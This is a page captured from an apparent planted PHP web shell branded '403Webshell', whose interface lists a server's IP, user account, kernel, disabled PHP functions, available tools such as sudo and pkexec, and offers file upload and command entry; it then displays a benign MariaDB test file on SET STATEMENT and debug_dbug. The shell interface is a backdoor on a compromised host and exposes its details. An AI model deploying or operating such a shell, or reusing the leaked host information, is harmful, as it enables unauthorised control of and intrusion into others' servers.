403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/main/set_statement_debug.test
--source include/have_debug.inc
--source include/have_debug_sync.inc

call mtr.add_suppression("Sort aborted.*");

set @save_debug_dbug= @@debug_dbug;

# check that change debug_dbug visible in SELECT
set statement  debug_dbug="d,something" for select @@debug_dbug;
set @@debug_dbug= @save_debug_dbug;

#check that change debug_dbug has influence of hooks... 
CREATE TABLE t1(f0 int auto_increment primary key, f1 int);
INSERT INTO t1(f1) VALUES (0),(1),(2),(3),(4),(5);
CALL mtr.add_suppression("Out of sort memory");
--error ER_OUT_OF_SORTMEMORY
SET statement debug_dbug= '+d,alloc_sort_buffer_fail' for SELECT * FROM t1 ORDER BY f1 ASC, f0;

# ... and works only for one statement
SELECT * FROM t1 ORDER BY f1 ASC, f0;

DROP TABLE t1;
set @@debug_dbug= @save_debug_dbug;

--error ER_SET_STATEMENT_NOT_SUPPORTED
set statement DEBUG_SYNC = 'now SIGNAL hi' for select 1;

Youez - 2016 - github.com/yon3zu
LinuXploit